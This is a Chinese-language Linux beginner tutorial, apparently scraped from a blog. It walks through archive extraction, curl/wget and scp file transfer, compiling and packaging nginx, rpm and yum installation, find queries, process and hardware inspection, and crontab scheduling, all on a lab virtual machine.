    #再进行解压
        unar -o 解压路径 被解压文件路径
        
        ## 例如：
         unar -o /opt 456.rar
            
## 如下
[root@localhost ~]# ls
1.zip  2.tar.gz  3.tar.gz jaden.rar jaden.tar services shike

[root@localhost ~]# mkdir xx
[root@localhost ~]# unar -o ./xx jaden.rar ## 把jaden.rar 解压到./xx目录下
jaden.rar: RAR 5
 jaden.txt (49 B)... OK.
Successfully extracted to "./xx/jaden.txt".
[root@localhost ~]# ls xx/
jaden.txt

## 尽量不要给linux发送rar的压缩包。全世界通用的是zip格式的压缩包。好，关于压缩和解压我们就先说这么多。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

2.14 文件传输及网络文件下载

## 和Linux进行文件传输，大概有下面这么几种情况，看图
1

2.14.1 网站下载文件

#下载文件
	## curl
        #下载文件
        curl -o 本地存放路径 文件网址
        例如：有些网站在后台可能禁了curl下载，导致下载不下来
         curl -o 123.zip https://github.com/nmap/nmap/archive/refs/heads/master.zip

	## wget 文件网址
        # 需要自行安装一下才有这个功能，curl是系统自带的
        yum install -y wget
        [root@localhost ~]# wget https://github.com/nmap/nmap/archive/refs/heads/master.zip
        # wget比curl方便，最起码不需要指定文件名，curl如果不指定文件名路径的话会将文件内容打印在屏幕上
        #使用curl和wget的前提是要有网

#检查网络畅通
## ping
    例子1：ping 223.5.5.5
    #如果网不通，重启网络服务
   		ystemctl restart network
    #查看文件类型
        file
        例子1：
        file 123.zip
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

2.14.2 scp传输

# 我们准备两台linux虚拟机来玩：

#主要用于linux和linux服务器之间传输文件，scp要求接受数据的一方要开启了ssh服务端才行，如果你电脑是苹果电脑mac系统，也可以使用scp来传输。windows往linux上面发送文件也可以用scp，但是只能单向的，因为windows上没有ssh服务端。

#把本地文件推送到远程服务端
    # 格式： scp 本地文件路径 远程主机用户@远程主机ip地址:远程主机某个目录
    	scp typora-setup-x64.exe root@10.0.0.128:/tmp
            
#把远端服务文件拉取到本地
    # 格式：scp 远程主机用户@远程主机ip地址:远程主机某个文件路径 本地路径
    scp root@10.0.0.128:/tmp/typora-setup-x64.exe .

## win10及以上版本是有scp指令的，win和win之间是不能使用scp互相传文件的，因为windows上默认是没有ssh的服务端的，只有客户端。


# windows使用scp给linux上传文件的时候，文件路径和文件名中不允许出现中文和空格。
# 格式和上面一样
scp typora-setup-x64.exe root@10.0.0.128:/tmp
    
## mac系统也是直接可以使用scp来给linux上传文件的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

2.14.3 rz和sz(win <------------------ > linux)

#上传和下载
    rz  #上传
    sz  #下载
#先安装lrzsz软件包
	yum install lrzsz  -y
#上传的例子
	## 如果使用xshell，直接鼠标拖拽，或者执行rz -E选择要上传的文件
#下载的例子
	sz /root/test3.tar.gz
1
2
3
4
5
6
7
8
9

2.14.4 xftp上传下载

## 这个我们都会玩了，就不演示了。
1

2.15 软件安装

## 学习这个课程之前，我们先将虚拟机恢复一下快照。
## 不管是什么系统，安装软件都有多种方式。比如前面讲解windows的时候，我们也说到了几种安装方式，linux也不列外，也有多种软件安装方式。而linux安装软件其实是比windows要复杂一些的，原因如下
1
2

## Linux软件安装复杂主要就复杂在软件的依赖文件上了，也叫做依赖包，要想安装某个软件，先要去安装它的依赖包。
1

2.15.1 编译安装

## 我们有时候安装软件，下载下来的是软件源代码，不能直接运行，需要编译之后才能运行，源代码-->编译-->二进制机器码，才能运行。比如windows的某些软件是从源代码编译打包之后才生成exe程序，平常我们接触不到，大家安装的软件都是基本别人编译好的。而linux下编译之后会生成二进制的可执行文件，不是exe程序昂，和windows不同，这种文件没有后缀名。其实linux系统下就没有文件后缀名这个概念，好多后缀名都是我们人工自己加上去的，为了让自己知道文件是干嘛的，主要是给我们自己看的，区分作用。


## 我们用一个网站服务软件来玩一玩试试：
1.下载源码包
    cd /opt/
    rm -fr *
    curl -o nginx.tar.gz http://nginx.org/download/nginx-1.20.1.tar.gz
        
2.编译安装
	tar xf nginx.tar.gz 
	cd nginx-1.20.1/
   	[root@localhost nginx-1.20.1]# ls
   	auto CHANGES CHANGES.ru conf configure contrib html LICENSE man README src

# 1.配置编译参数
    # 这个软件给我们提供了很多功能，我们在编译的过程中可以自己选择哪些功能要，哪些功能不要，所有功能都要就是完整版，好多功能都		不要就成了精简版，比如qq精简版，不知道大家听没听过。
    ./configure --prefix=/usr/local/nginx --without-pcre --without-http_rewrite_module --without-http_gzip_module
    
     #我这里禁掉了一些功能，以为这些功能都需要好多依赖包，大家还不知道依赖包是怎么回事儿，所以我就暂时先删除了。--without就是去掉的意思。--prefix=/usr/local/nginx是指定软件的安装目录，目录不存在的话会自动创建。./是用相对路径来执行这个configure文件，用绝对路径也可以执行这个文件。这个指令执行之后，会自动检查各种依赖环境是否满足软件运行的要求，检查通过之后会生成一个叫做Makefile的文件。
        
     [root@localhost nginx-1.20.1]# ls 
       auto     CHANGES.ru configure html     Makefile objs   src
       CHANGES conf       contrib   LICENSE man       README
    
     #多了两个文件Makefile和objs，刚才的指令主要是为了生成Makefile
        
# 2.编译
	make  
    #make会找当前目录中的Makefile文件来进行编译，这个编译过程一般是比较长的。到底多长时间呢？1、看CPU性能 2、软件功能复杂度
     [root@localhost nginx-1.20.1]# ls  
       auto     CHANGES.ru configure html     Makefile objs   src
       CHANGES conf       contrib   LICENSE man       README

     # 编译之后看上去目录结构和之前一样，但是objs目录里面其实多了好多东西。
     [root@localhost nginx-1.20.1]# ls objs/
       autoconf.err nginx   ngx_auto_config.h   ngx_modules.c src
       Makefile     nginx.8 ngx_auto_headers.h ngx_modules.o
        
     # 其中nginx文件就是我们的二进制可执行的命令文件。它是可执行的程序了，比如我们查看一下它的版本
     [root@localhost nginx-1.20.1]# ./objs/nginx -v
        nginx version: nginx/1.20.1
            
     # 到这里只是编译完了，还需要安装，其实安装就是将这个程序的某些文件放到对应的目录中去。其实我们在上面的编译参数中已经指定			好了--prefix=/usr/local/nginx，要安装到/usr/local/nginx目录中去。

# 3.安装
make install
    # 查看安装目录，这就是它这个软件安装的所有文件
        [root@localhost nginx-1.20.1]# ls /usr/local/nginx/
        conf html logs sbin
	# 这样看目录结构看着不太清晰，我们可以安装一下tree这个工具，来进行目录查看
	 	[root@localhost nginx-1.20.1]# yum install tree -y
 	# 安装完tree之后，我们来看一下目录，看着就清晰多了，树状结构显示。
     [root@localhost nginx-1.20.1]# tree /usr/local/nginx/
       /usr/local/nginx/
       ├── conf  # 该软件的配置文件所在目录
       │   ├── fastcgi.conf
       │   ├── fastcgi.conf.default
       │   ├── fastcgi_params
       │   ├── fastcgi_params.default
       │   ├── koi-utf
       │   ├── koi-win
       │   ├── mime.types
       │   ├── mime.types.default
       │   ├── nginx.conf
       │   ├── nginx.conf.default
       │   ├── scgi_params
       │   ├── scgi_params.default
       │   ├── uwsgi_params
       │   ├── uwsgi_params.default
       │   └── win-utf
       ├── html  # 网站源代码存放目录，这个nginx其实主要是用来部署网站的，网站的代码可以放到这个
    目录中
       │   ├── 50x.html
       │   └── index.html
       ├── logs  # 这个软件自带日志记录功能，记录的日志存放在这个目录中
       └── sbin
           └── nginx  # 这个是软件的关键性的启动程序，类似于我们windows安装的qq目录中的QQ.exe
        4 directories, 18 files

3.运行
    ## 指令：/usr/local/nginx/sbin/nginx，没有配置环境变量，所以要用完整路径来运行
    [root@localhost nginx-1.20.1]# /usr/local/nginx/sbin/nginx
    [root@localhost nginx-1.20.1]#   #看上去没什么效果，但是已经运行了
    
    # 可以通过浏览器访问这个nginx了，访问之前要关闭一下防火墙。
        # 关闭防火墙
        systemctl stop firewalld
        # 取消防火墙的开机自启
        systemctl disable firewalld
   	    # 使用浏览器访问http://<虚拟机的ip地址>
    		## http://192.168.61.132/ 就可以看到网站了。
        ## 关于nginx这个软件如何使用，我们后面课程中会详细的讲解，这里先简单感受一下编译安装过程即可。
        
    # 打包：就是将我们编译好的程序打包起来，给其他人用的时候，其他人就不用编译了，因为你已经编译好了，我们普通用户使用的软件就			是别人编译打包之后的软件。
    
    ## /usr/local/nginx 这个目录就是我们编译好之后的整个软件的所有运行文件目录，我们打包它即可
    
    # 打包压缩
        [root@localhost nginx-1.20.1]# cd /usr/local/
        [root@localhost local]# ls
        bin etc games include lib lib64 libexec nginx sbin share src
        [root@localhost local]# tar -zcf /tmp/nginx_jaden.tar.gz nginx 
        [root@localhost local]# ls
        bin etc games include lib lib64 libexec nginx sbin share src
        [root@localhost local]# ls /tmp/
        ks-script-ed2ODG
        nginx_jaden.tar.gz
        
        # 推送给另外一台主机
        [root@localhost tmp]# scp nginx_jaden.tar.gz root@192.168.61.135:/tmp
        
        # 另外一台主机的操作：解压到/usr/local目录下，然后运行
        root@localhost tmp]# ls
        nginx_jaden.tar.gz
        [root@localhost tmp]# mv nginx_jaden.tar.gz /usr/local/
        [root@localhost tmp]# cd /usr/local/
        [root@localhost local]# ls
        bin etc games include lib lib64 libexec nginx_jaden.tar.gz sbin share  src
        [root@localhost local]# tar -zxf nginx_jaden.tar.gz 
        [root@localhost local]# ls
        bin etc games include lib lib64 libexec nginx nginx_jaden.tar.gz sbin 
        share src
        [root@localhost local]# /usr/local/nginx/sbin/nginx
        [root@localhost local]# systemctl stop firewalld
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125

2.15.2 rpm安装

# 刚才我们提到过，编译还是比较繁琐的，为了方便使用者，一般都会编译之后发给使用者，用起来不需要编译，就方便多了。只要有人编译一次，将编译后的程序贡献出来，大家就可以用了。所以这些做系统的厂商也发现这样挺好，所以这些厂商干脆将自己的软件也打包一下，redhat、debian等都做了自己软件的打包工作，将自己的软件打包好之后，供用户下载使用。下载软件需要用到对应系统的包管理工具。
# redhat系打出来的包叫做：rpm包。用yum安装的程序包其实都是rmp包，比如刚才安装的tree。rpm的包我们也可以不使用yum而手动安装。

# debian系打出来的包叫做：deb包。

#rpm全称：redhat package manager包管理器

# 手动安装rpm包示例：不需要编译安装、也不用yum安装。

# 安装wget
	yum install wget -y
# 使用wget下载rpm包
	wget https://mirrors.tuna.tsinghua.edu.cn/centos/7/os/x86_64/Packages/tree-1.6.0-10.el7.x86_64.rpm
    
# 如果没有wget，可以先用curl下载：
	curl -o wget.rpm  https://mirrors.tuna.tsinghua.edu.cn/centos/7/os/x86_64/Packages/wget-1.14-18.el7_6.1.x86_64.rpm
        
# 安装rpm包 #rpm -i是安装，vh是显示安装进度条的意思。
	rpm -ivh tree-1.6.0-10.el7.x86_64.rpm 
# 卸载
	rpm -e tree
# 升级
	rpm -Uvh xxx.rpm
# 查看已安装的软件
	rpm -qa|grep httpd

#以树状的显示指定目录下的目录和文件的名称
    tree
    例子1：
    tree /usr/local


## rpm安装软件个小问题：
## 比如：安装vim，会提示安装失败，需要各种依赖包，需要先去安装依赖包。
wget http://mirrors.tuna.tsinghua.edu.cn/centos/7/os/x86_64/Packages/vim-enhanced-7.4.629-7.el7.x86_64.rpm
rpm -ivh vim-enhanced-7.4.629-7.el7.x86_64.rpm

## 所以，用rpm安装软件不好解决依赖包的问题，所以出来了下面的yum安装方式，自动下载安装需要的依赖包。以后都用yum来安装。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

2.15.3 yum安装

#自动解决rpm依赖
#yum安装扩展yum仓库
	yum install epel-release -y
#yum安装nginx
	yum install nginx -y
#yum移除nginx
	yum remove nginx -y
#查看仓库rpm的数量
	yum repolist
    
    
## 编译安装：优点： 自由定制 痛点：难度高，步骤繁琐
## rpm安装：优点：安装简单   痛点：需要自己解决依赖，不支持定制
## yum安装：优点：自动解决依赖，默认安装最新版 痛点：不支持定制
1
2
3
4
5
6
7
8
9
10
11
12
13
14

2.15.4 yum仓库(镜像站)

## 如下，安装工具时会提示：自动会从下面的仓库中来下载软件包，centos的官方库在国外http://mirror.centos.org/，
1

## 这个仓库地址是在centos中配置的，在如下配置文件中

[root@localhost ~]# cd /etc/yum.repos.d/
[root@localhost yum.repos.d]# ls
CentOS-Base.repo CentOS-Debuginfo.repo CentOS-Media.repo   CentOS-Vault.repo
CentOS-CR.repo   CentOS-fasttrack.repo CentOS-Sources.repo CentOS-x86_64-
kernel.repo
# 有几个repo文件，表示配置了几个仓库，其中大部分是禁用状态的，默认就一个启用的CentOSBase.repo。比如我们看一个文件CentOS-Vault.repo
1
2
3
4
5
6
7
8

CentOS-Vault.repo如下，看不到enabled=0的表示启用状态

CentOS-Base.repo如下：

## 但是国外的地址下载软件太慢了，所以centos官方说我允许你们和我同步，比如华为，你和我同步一下，做一个你国内的镜像库，这就是华为的yum仓库了或者说镜像站了，很多企业和学校都有自己的镜像站。那么我们yum安装的时候有看到，明明使用的是国内的镜像站呀，这是怎么做到的，其实配置文件中做了一个镜像地址列表，如下
1

## 我们拿出来这个地址改一改

http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=os&infra
# $releasever表示版本
# $basearch表示32还是64位
# repo=os表示我们要下载的是操作系统相关的东西
# infra这个参数没什么用，可删掉
# 那么我们改一改网址，如下
http://mirrorlist.centos.org/?release=7&arch=x86_64&repo=os
# 访问一下这个地址。

## 效果如下
1
2
3
4
5
6
7
8
9
10
11
12

## 这就是为什么，我们用yum安装软件的时候，仓库地址都是国内的镜像站地址的原因了，它会自动选择离我们最近、网速最佳的几个地址来下载。
1

2.16 find文件查找

## 文件查找，我们在windows用的比较多，系统自带的搜索方式、第三方搜索工具everything等。
# linux上没有图形化界面，就要借助find指令来查了。
1
2

2.16.1 普通查询

# 普通查询
    find   /etc   -maxdepth 1  -type f  -name "pa*"
    命令   目录...   查找深度     类型   文件名称包含  
    # -type文件类型：f表示文件，不指定类型的话，文件和目录都会查找
    # -maxdepth查找深度：目录层级的意思，不指定的话，就按照最大深度来查找
    # "pa*"： *表示匹配任意pa开头的内容，*号还可以写在开头

1
2
3
4
5
6
7

2.16.2 按照大小查找

## 按照文件大小查找(单位kMG,k要小写，MG要大写，不带单位就按照b单位来查找)

 1.查找大于100M的文件
    find / -type f -size +100M 
    [root@localhost tmp]# find / -type f -size +100M 
    /proc/kcore
    find: ‘/proc/1945/task/1945/fdinfo/6’: 没有那个文件或目录  
# proc是进程目录，有些进程运行起来之后能看到文件信息，程序运行结束之后，进程文件也消失了，所以看到proc的报错很正常，并且proc的权限很高，不是一般人可以访问的，所以也经常会报权限不够等错误信息，所以以后看到proc的报错直接忽略即可。
                    
	find: ‘/proc/1945/fdinfo/5’: 
## 没有那个文件或目录/sys/devices/pci000000/0000:00:0f.0/resource1_wc/sys:/devices/pci0000:00/0000:00:0f.0/resource1/
var/cache/yum/x86_64/7/updates/gen/primary_db.sqlite/usr/lib/locale/locale-archive
                                            
	[root@localhost tmp]# ls -h /usr/lib/locale/locale-archive   #大小确实超过了100M
        -rw-r--r--. 1 root root 102M 3月  15 20:10 /usr/lib/locale/locale-archive
            
            
    2.查找小于2k的文件
       find /root/nginx-1.20.2 -type f -size -2k
        
	3.查找大于50M同时小于100M的文件
        find /  -type f   -size +50M  -and -size -100M
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

2.16.3 忽略大小写

## 忽略大小写查询
	find /etc -maxdepth 1  -iname "pa*"  # i是ignore的简写，忽略的意思
1
2

2.16.4 根据修改时间查找文件

## 根据修改时间查找文件  
   [root@localhost ~]# stat 1.txt
     文件："1.txt"
     大小：0         块：0         IO 块：4096   普通空文件
   设备：801h/2049d Inode：67108933   硬链接：1
   权限：(0644/-rw-r--r--) Uid：(    0/   root)   Gid：(    0/   root)
   环境：unconfined_u:object_r:admin_home_t:s0
   最近访问：2023-03-23 09:04:35.339235371 +0800 #Access time
   最近更改：2023-03-23 09:04:35.339235371 +0800 #Modify time
   最近改动：2023-03-23 09:04:35.339235371 +0800 #Change time
   创建时间：-
    
## 时间参数：atime mtime ctime amin mmin cmin  #(time是按照天来查找，min是按分钟查找)

# 时间单位为天
find /opt -type f -mtime -1   #-1代表一天以内，+1一天以前

# 时间单位为分钟
    [root@localhost ~]# find /root -type f -mmin -20
        /root/.bash_history
        /root/ReadMe.txt
        /root/.lesshst

# 查找1天之前，10天之内，修改过的文件
	[root@localhost ~]# find /etc/ -type f -mtime +1 -and -mtime -10
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

2.16.5 取反：！

## 取反: !
   [root@localhost ~]# find /root -type f -name "*.txt" # 找名称以.txt结尾的文件
   		/root/1.txt
   		/root/学习前准备.txt
        
   [root@localhost ~]# find /root -type f ! -name "*.txt" # 找名称中不是.txt结尾的文件
   		/root/.bash_logout
    	 /root/.bash_profile
    
   [root@localhost ~]# mkdir jaden
   [root@localhost ~]# mkdir wulaoban
   [root@localhost ~]# find /root -type f # 找文件
   /root/.bash_logout
   /root/.bash_profile

 [root@localhost ~]# find /root ! -type f # 找文件夹
   /root/jaden
   /root/wulaoban

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

2.16.6 根据用户来查找文件

## 根据用户来查找文件
   [root@localhost ~]# useradd jaden
   [root@localhost ~]# find / -user jaden # 查找属于jaden用户的所有目录和文件
   /var/spool/mail/jaden
   /home/jaden
   /home/jaden/.bash_logout
   /home/jaden/.bash_profile
   /home/jaden/.bashrc
    
## 根据用户组来查
   [root@localhost ~]# find / -group jaden
1
2
3
4
5
6
7
8
9
10
11

2.17.7

## 对找出的文件进行处理

# 格式：正常的find语句+操作exec

# 比如我们查找到了一些病毒文件，想直接删除  
    find /tmp -type f -size +10K -exec rm rf {} \; 
        # {}表示我们找到的那些文件，\;是这样的：正常exec语句最后要分号结尾，但是分号在linux中有特殊的意义
        ## 比如一次性执行两个指令可以 ls -lh;id，这样执行，所以要对;进行转义，意思是不要将;作为shell指令的分隔
        ## \就是转义符号。例子：
        
   [root@localhost tmp]# find /tmp -name "vm*" -exec rm -rf {} \;
        find: ‘/tmp/vmware-root_560-2957190359’: 没有那个文件或目录
        find: ‘/tmp/vmware-root_555-4282367637’: 没有那个文件或目录
        find: ‘/tmp/vmware-root_631-4021718894’: 没有那个文件或目录
   [root@localhost tmp]# ls
       ks-script-ed2ODG
       nginx_jaden.tar.gz
       systemd-private-d38b668730bf4589896221daead5dbea-chronyd.service-be3NkFyum.log

# 下面的例子就不演示了。
find /root -type f -mmin -30 ! -name ".*"  -exec rm {} \;
find /root  -maxdepth 1  -type d  -name "Apa*"   -mmin -30 -exec cp -a {} /tmp 
\; # 复制到tmp目录中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

2.17 进程管理

## 操作系统都有进程的概念，windows在任务管理器中查看，linux用ps指令来查看。

1
2

2.17.1 查看和关闭进程

#查看进程
	ps
	参数1：ps -ef
    
# pid：全称process id，是进程编号，每次启动某个程序，它的编号可能都不一样，这个是程序启动之后系统随机分配的。

# uid：全称user id，是进程所属用户，也就是哪个用户启动的，我们可以切换个用户执行一下sleep 60，就可以看到效果

# CMD中看到[]括起来的，表示这些都是系统级别的进程，比如一些硬件驱动程序之类的，这些都不要动。不带[]的都是用户级别的。

# ppid：全称parent process id，父进程，记录的是某个进程是由哪个进程创建出来的。可以通过pstree工具来查看从属关系。

# C：这个不用管。

# STIME：全称start time，进程的启动时间。

# TTY： 用来显示哪些是本地启动的，哪些是远程终端连接上来启动的。通过w指令可以看到哪些终端登录着主机。只要登录成功一个终端，那就多一个终端。

# TIME：这个没啥用

# CMD：这个进程执行了什么指令

## 安装一个pstree
# 注意：我们安装的软件的名字和使用的时候的指令名称不一定是一样的，比如lrzsz，使用的时候是rz\sz上传下载。
# 想查看我们想要使用的某个指令，是哪个软件包提供的，可以输入yum provides 指令名称，比如yum provides pstree
    [root@localhost ~]# yum provides pstree
    [root@localhost ~]# yum install psmisc -y
    [root@localhost ~]# pstree

# 可以看到，系统的第一个进程是systemd，由他创建起来了好多其他的进程，可以看到从属关系：
	systemd─┬─NetworkManager─┬─dhclient
           │               └─2*[{NetworkManager}]
       ├─VGAuthService
       ├─abrt-watch-log
       ├─abrtd
       ├─agetty
       ├─auditd───{auditd}
       ├─chronyd
       ├─crond
       ├─dbus-daemon───{dbus-daemon}
       ├─master─┬─pickup
       │       └─qmgr
       ├─polkitd───6*[{polkitd}]
       ├─rsyslogd───2*[{rsyslogd}]
       ├─sshd─┬─sshd───bash───pstree
       │     └─sshd───bash
       ├─systemd-journal
       ├─systemd-logind
       ├─systemd-udevd
       ├─tuned───4*[{tuned}]
       └─vmtoolsd───{vmtoolsd}
    
#关闭进程
    kill pid号
    例子1： kill  7851  #使用进程id号，来终止进程
           kill -9 pid号  #慎用！！！
#批量关闭进程，pkill全称program kill
    pkill CMD命令名称
    例子1： pkill sleep  #使用进程的命令名称，来终止进程，会中止所有CMD执行着sleep的进程的。
           pkill -9 sleep
       
# kill -9，这个强大和危险的命令迫使进程在运行时突然终止，进程在结束后不能自我清理。危害是导致系统资源无法正常释放，一般不推荐使用，除非其他办法都无效。

# 如果想把某个远程连接踢下线，可以杀掉显示pts的远程连接进程的父进程，如下图
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64

2.17.2 查看计算机硬件信息

2-1 查看cpu

#查看cpu
	lscpu
1
2

2-2 查看内存命令

#查看内存命令
	free -h
1
2

2-3 查看硬盘命令

#查看硬盘命令
	df -h  #h表示人类可读
    
    [root@localhost ~]# df -h
    文件系统       容量 已用 可用 已用% 挂载点
    devtmpfs       980M     0 980M    0% /dev
    tmpfs           991M     0 991M    0% /dev/shm
    tmpfs           991M  9.5M 981M    1% /run
    tmpfs           991M     0 991M    0% /sys/fs/cgroup
    /dev/sda1       100G  2.2G   98G    3% /
    tmpfs           199M     0 199M    0% /run/user/0
1
2
3
4
5
6
7
8
9
10
11

2-4 查看计算机的cpu，内存，进程等信息

# 含有tmp的表示是内存给硬盘的空间，默认会给1半内存空间，把内存当作硬盘使用，这个我们不用管。
# 查看计算机的cpu，内存，进程等信息(和windows的任务管理器很像)
top
    top - 08:34:27 up 20 min,  1 user, load average: 0.00, 0.01, 0.05
   Tasks:  89 total,   2 running,  87 sleeping,   0 stopped,   0 zombie
   %Cpu(s):  0.0 us,  0.0 sy,  0.0 ni,100.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 
    
st
   KiB Mem :  2027872 total,  1779000 free,   135668 used,   113204 buff/cache
   KiB Swap:        0 total,        0 free,        0 used.  1755332 avail Mem 
    
 # 下面是进程信息，值得看的是每个进程占用的%CPU %MEM，CPU使用率和内存使用率
     PID USER     PR NI   VIRT   RES   SHR S %CPU %MEM     TIME+ COMMAND   
           
     1 root      20   0  128556   7132   4144 S  0.0  0.4   0:01.27 systemd     
        
     2 root      20   0       0      0      0 S  0.0  0.0   0:00.00 kthreadd     
       
     4 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 kworker/0:0H
# 08:34:27 up 20 min：表示08:34:27是系统当前时间，开机了20分钟，如果看到3:20，表示开了3小时20分钟，看到10 days表示10天了，linux很稳定耐用，开机好多年都稳定运行着，不会卡顿。

# 1 user ：表示当前只有一个用户在使用
# load average: 0.00, 0.01, 0.05：平均负荷，指的是CPU的负载高不高，CPU负载高，那么平均负荷就比较大，如果这几个值很大的时候，服务器会变得很卡。如果发现服务器卡了，就是异常情况，就可以看看这个数据。这三个值表示：1分钟、5分钟、15分钟的负载情况，load average数据是每隔5秒钟检查一次活跃的进程数，然后按特定算法计算出的数值。如果这个数除以逻辑CPU的数量，结果高于5的时候就表明系统在超负荷运转了。

# Tasks: 89 total， 2 running, 87 sleeping, 0 stopped,   0 zombie：表示进程数量，总共89个，2个正在运行，87个在睡眠状态，当我们的CPU是1核的时候，是在所有进程之间来回切换执行，所以只有一个或者切换速度很快的时候显示2个。 0 stopped表示停止的进程，但是这里一般都是0，以为进程结束之后会自动从内存中释放。0 zombie表示僵尸进程数量，僵尸进程是杀不死的，就是由于各种原因，系统无法自动释放的进程，僵尸进程也消耗系统资源，一般kill掉它的父进程可以杀掉僵尸进程，或者kill -来杀掉。但是kill -9要慎用！！！它也容易产生僵尸进程，kill会将进程运行中的信息保存下来，进程不会出问题，kill -9不会保存，强制结束进程的运行，容易出现僵尸进程。

# 按数字1，可以查看cpu数量

# %Cpu(s): 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 
    ## st，关于CPU我们其他参数不用看，就看这个100.0 id，id是idle的简写，表示100%空闲，因为我们现在
    ## CPU使用率很低，所以显示了100%空闲。我们只关注这个参数即可，看一下CPU忙不忙就行。

# KiB Mem : 2027872 total, 1779000 free,   135668 used,   113204 buff/cache，是内存(英文：memroy)的描述信息，total表示总内存量，free表示可用剩余量，userd表示已经使用的量，buff/cache表示用作缓存，是和磁盘进行读写时的缓存区域，这个参数不用管。

# KiB Swap:       0 total,       0 free,       0 used. 1755332 avail Mem ：
## Swap表示虚拟内存，这是硬盘分配给内存的一部分空间，为了当内存不足时，临时将硬盘当作内存使用。这个数值是可以自行调整的。一般自动就分配好了，所以我们不用管，实在是内存不够用的时候再加大这个虚拟内存。我现在看的是虚拟机上的虚拟内存，虚拟机不设置虚拟内存,所以显示为0。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

swap虚拟内存在windows也内看到：

2.18 定时任务

定期执行任务（执行命令），和windows的计划任务是一样的。

2.18.1 查看时间

#时间命令
	date

#查看时间
    [root@localhost ~]# date
    2021年 07月 23日 星期五 14:38:19 CST
[root@localhost ~]# date +%F
	2021-07-23
[root@localhost ~]# date +%T
	14:35:47
[root@localhost tmp]# date +%F\ %T
	2022-01-11 10:07:50	
1
2
3
4
5
6
7
8
9
10
11
12

2.18.2 修改时间和日期

#修改时间和日期
    [root@localhost ~]# date -s '20200723 14:40:00'
    2020年 07月 23日 星期四 14:40:00 CST
# 修改时间
	[root@localhost ~]# date -s '14:40:00'
#同步时间，如果时间和当前时间不一致，可以做一下时间同步，来让时间准确起来
	systemctl restart chronyd 
	# 一次执行完是有延迟的，等待一会才看到准确时间，前提是我们有网
1
2
3
4
5
6
7
8

2.18.3 定时任务的格式

#定时任务的格式
    * * * * *   cmd
    分 时 日 月 周   命令
    分：0-59
    时：0-23
    日：0-31
    月：1-12
    周：1-7
#每5分钟执行一次
	*/5 * * * *
    
#每1小时的01分执行一次
	01 */1 * * *
    
#每半个小时执行一次，下面的意思是每小时的00分和30分各执行一次
	00,30 */1 * * *
    
#每天晚上8:00执行一次
	00 20 * * *
    
#每个月1号晚上8:00执行
	00 20 1 * *
    
#每年1月1号晚上8:00执行
	00 20 1 1 *
    
#每周1、周三、周五晚上8:00执行一次
	00 20 * * 1,3,5
    
# 几个符号的意思：
    # * 每分钟
    # */5 每5分钟
    # 05 第5分钟
    # 每秒钟执行的任务，需要单独写脚本，繁琐一些。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

2.18.4 查看，编辑定时任务

#查看定时任务，遇到特殊符号%,需要添加转义符号\;
    [root@localhost ~]# crontab -l
    * * * * *  echo `date +\%T` >>/tmp/time.txt
    
#编辑定时任务
    [root@localhost ~]# crontab -e
     * * * * * date >> /tmp/time.txt  # 每分钟执行一次
        
    [root@localhost ~]# crontab -l
    * * * * * date >> /tmp/time.txt
## 我们可以通过cat来查看任务是否执行了，但是比较麻烦，每次手动输入cat，所以我们可以用如下指令
	tail -f /tmp/time.txt  #监测文件尾部内容的变化.
    
[root@localhost ~]# tail -f /tmp/time.txt
    2023年 03月 24日 星期五 10:58:01 CST
    2023年 03月 24日 星期五 10:59:01 CST
    2023年 03月 24日 星期五 11:00:01 CST
    2023年 03月 24日 星期五 11:01:01 CST
            
# 是这个进程再帮我们执行定时任务：
    [root@localhost ~]# ps -ef|grep cron
    root        581      1  0 18:05 ?        00:00:00 /usr/sbin/crond -n
                
# 我们还可以自行重启这个进程
    root@localhost ~]# systemctl restart crond
    [root@localhost ~]# ps -ef|grep cron # 可以看到进程启动时间变化了
    root       2611      1 25 21:27 ?        00:00:00 /usr/sbin/crond -n
                
#改为每小时的03分执行
    [root@localhost ~]# crontab -e
    [root@localhost ~]# crontab -l
    03 * * * * date >> /tmp/time.txt
    #修改一下系统时间
    [root@localhost ~]# date -s '12:02:50'
    2023年 03月 24日 星期五 12:02:50 CST
    [root@localhost ~]# tail -f /tmp/time.txt
    ...
    2023年 03月 24日 星期五 11:13:01 CST
    2023年 03月 24日 星期五 11:14:01 CST
    2023年 03月 24日 星期五 12:03:03 CST  # 12点03分执行的
    # crontab -e里面每一行都可以写一个定时任务，也就是可以写多个定时任务。
    
# 比如，再加一个热内：每天晚上9:20自动关机
# 20 21 * * * shutdown -h now

[root@localhost ~]# date -s '21:19:50'
	2023年 03月 24日 星期五 21:19:50 CST
[root@localhost ~]# crontab -l
    03 * * * * date >> /tmp/time.txt
    20 21 * * * shutdown -h now
